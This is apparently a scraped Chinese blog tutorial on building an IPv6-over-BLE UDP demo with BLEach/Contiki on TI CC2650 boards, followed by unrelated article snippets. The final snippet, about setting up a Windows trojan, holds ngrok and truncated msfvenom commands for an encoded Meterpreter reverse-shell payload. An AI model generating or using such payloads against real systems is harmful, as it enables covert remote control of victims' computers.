基于TI CC2650的IPv6 over BLE(BLEach) demo
虽然BLE 5.0协议理论上已经开始支持IPv6了,但是目前市面上还没有可用的实现IPv6通信的BLE产品。
最近在网上看到一个开源的基于contiki系统,在CC2650上实现的IPv6 over BLE——BLEach。官网
其实现原理类似于IPv6 over 6lowpan,在底层和应用层之间添加了中间层:

更多实现原理请查阅RFC 7668和BLEach开发者的论文BLEach Exploiting the Full Potential of IPv6 over BLE in Constrained Embedded IoT Device,本文不展开讨论。
本文根据BLEach的readme来实现一个简单IPv6 over BLE的UDP通信demo。
软硬件环境
- 虚拟机:Instant Contiki
- Contiki版本:3.0
- server节点:淘宝买的CC2650开发板(电装科技)
- client节点:TI CC2650 LaunchPad
- Flash Programmer 2 版本:v1.7.5
安装Contiki
参见CC2650LaunchPad 运行contiki hello-world示例程序,稍有不同,这里源代码使用了带有BLEach的Contiki:https://github.com/spoerk/contiki
修改配置
server和client源代码分别在../contiki/examples/cc26xx/cc26xx-ble-server-demo和../contiki/examples/cc26xx/cc26xx-ble-client-demo下,两个目录下的配置文件project-conf.h都已按照README.md配置好,另外需要修改两个部分:
server端
project-conf.h的line 62,这里定义了客户端的Mac地址,即客户端节点开机后主动链接的MAC地址。可能因为是demo,作者设为了固定值。
/* BLE radio settings */
#define BLE_MODE_CONF_INIT_PEER_ADDR 0x0000000000
所以我们需要看一下打算作为客户端的LaunchPad的MAC地址,通过Flash Programmer 2就可以,可能会出现需要擦除FLASH的提示:

这是因为怕从FLASH中提取出程序,所以加了锁,右上角选擦除就可以了:

然后从Mac Address标签下单击BLE Mac Address下的Read:

把读出的值写到上文提到的位置(按照格式)。
client端
client会一直广播,它不需要与固定mac地址的设备进行连接。需要修改的是client.c的line 50:
#define SERVER_IP "fe80::xxxx:xxxx:xxxx:xxxx" //"::"
这里是UDP连接的server的IPv6地址,但是通过server源代码我们并不知道它的IPv6地址,后来才知道原来IPv6地址可以通过mac地址生成,所以知道server的mac地址,算出它的IPv6地址就可以了,有两种方法:
- 同上文一样,通过Flash Programmer 2读出server的mac,然后根据算法算出其IPv6地址,也有现成的小工具,比如Compute MAC address to IPv6。
- 将下文函数加到server.c中:
static void
print_local_addresses(void)
{
int i;
uint8_t state;
PRINTF("Server IPv6 addresses: ");
for(i = 0; i < UIP_DS6_ADDR_NB; i++) {
state = uip_ds6_if.addr_list[i].state;
if(uip_ds6_if.addr_list[i].isused &&
(state == ADDR_TENTATIVE || state == ADDR_PREFERRED)) {
PRINT6ADDR(&uip_ds6_if.addr_list[i].ipaddr);
PRINTF("\n");
}
}
}
然后在PROCESS_THREAD(ipv6_ble_server_process, ev, data)中调用,然后编译下载后用串口助手看到打印出来的本机IPv6地址了。
编译和下载
根据板子不同,分别使用:
make TARGET=srf06-cc26xx BOARD=srf06/cc26xx server
make TARGET=srf06-cc26xx BOARD=launchpad/cc2650 client
编译后,在windows下用Flash Programmer 2下载。
效果
开机后,client自动开启广播,然后server与其建立BLE连接,通过IPv6邻居协议发现对方,通过UDP发送数据包:

客户端类似。
基于TI CC2650的IPv6 over BLE(BLEach) demo的更多相关文章
- 蓝牙协议 基于TI cc2540 模块的理解(转)
源:蓝牙协议 基于TI cc2540 模块的理解 Bluetooth 4.0开发 Platform:TI IC:cc2540 Environment:windows 7 tools:IAR 8.20. ...
- 基于TI Davinci架构的多核/双核开发高速扫盲(以OMAP L138为例),dm8168多核开发參考以及达芬奇系列资料user guide整理
基于TI Davinci架构的双核嵌入式应用处理器OMAPL138开发入门 原文转自http://blog.csdn.net/wangpengqi/article/details/8115614 感谢 ...
- 基于TI 多核DSP 的大数据智能计算处理解决方案
北京太速科技有限公司 大数据智能计算,是未来的一个发展趋势,大数据计算系统主要完成数据的存储和管理:数据的检索与智能计算. 特别是在智能城市领域,由于人口聚集给城市带来了交通.医疗.建筑等各方面的压力 ...
- (4.2)基于LingPipe的文本基本极性分析【demo】
酒店评论情感分析系统(四)—— 基于LingPipe的文本基本极性分析[demo] (Positive (favorable) vs. Negative (unfavorable)) 这篇文章为Lin ...
- 基于TI DSP TMS320C6455、Xilinx V5 FPGA XC5VSX95T的高速数据处理核心板
一.板卡概述 该DSP+FPGA高速信号采集处理板由我公司自主研发,包含一片TI DSP TMS320C6455和一片Xilinx V5 FPGA XC5VSX95T-1FF1136i.包含1个千兆网 ...
- 基于TI DSP TMS320C6678、Xilinx K7 FPGA XC7K325T的高速数据处理核心板
一.板卡概述 该DSP+FPGA高速信号采集处理板由我公司自主研发,包含一片TI DSP TMS320C6678和一片Xilinx FPGA K7 XC72K325T-1ffg900.包含1个千兆网口 ...
- 基于webrtc的多人视频会话的demo运行程序
服务端程序: 该服务程序为windows平台下的程序,使用libevent书写,并集成了UDP的中转程序.(该服务器程序不能和客户端程序运行在同一台PC机电脑,不然服务器程序和客户端程序会抢占同一UD ...
- 基于Angular和Spring WebFlux做个小Demo
前言 随着Spring Boot2.0正式发布,Spring WebFlux正式来到了Spring Boot大家族里面.由于Spring WebFlux可以通过更少的线程去实现更高的并发和使用更少的硬 ...
- 基于Cocos2dx + box2d 实现的愤慨的小鸟Demo
1. Demo初始界面 2. 游戏界面 3. 精确碰撞检測 4. 下载 压缩文件文件夹 AngryBird source 愤慨的小鸟Demo源码,基于Cocos2dx C++,以及box2d技 ...
随机推荐
- 再谈javascript面向对象编程
前言:虽有陈皓<Javascript 面向对象编程>珠玉在前,但是我还是忍不住再画蛇添足的补上一篇文章,主要是因为javascript这门语言魅力.另外这篇文章是一篇入门文章,我也是才开始 ...
- Vue 组件(component)之 精美的日历
公司的要求,需要开发一个精美的日历组件(IOS , 安卓, PC 的IE9+都能运行),写完后想把它分享出来,希望大家批评(). 先来个截图 代码已经分享到 https://github.com/zh ...
- JS操作css样式用法
//html <div id="div1" style="background:red;"> 修改背景颜色 </div> <but ...
- php 常量const
常量使用关键词const修饰,一经定义,不能改变 常量的使用规则 定义后,应该马上赋初始值 不能用public.private.protected修饰 在本类,可用self::name 类名::na ...
- EF Core 使用编译查询提高性能
今天,我将向您展示这些EF Core中一个很酷的功能,通过使用显式编译的查询,提高查询性能. 不过在介绍具体内容之前,需要说明一点,EF Core已经对表达式的编译使用了缓存:当您的代码需要重用以前执 ...
- 内网IP无法访问
就是我们在3类地址中常见到内网的IP段. 10.0.0.0--10.255.255.255 172.16.0.0--172.31.255.255 192.168.0.0--192.168.255.25 ...
- 购物车css样式效果
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- 【转载】从头编写 asp.net core 2.0 web api 基础框架 (5) EF CRUD
Github源码地址:https://github.com/solenovex/Building-asp.net-core-2-web-api-starter-template-from-scratc ...
- 前端基于react,后端基于.net core2.0的开发之路(番外篇) 后端使用T4模板,生成某些类
1.介绍 因为开发过程中,有部分类是你加一个模型,就需要去改动的,每次加非常的烦,或者有些类,你只用到了他基类的方法,但是你还必须建一个文件才能调用他基类的方法,也很烦. 这个时候,T4就非常有用了. ...
- metasploit配置windows外网木马
首先在命令端输入./ngrok tcp 2222然后会变成这样 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i ...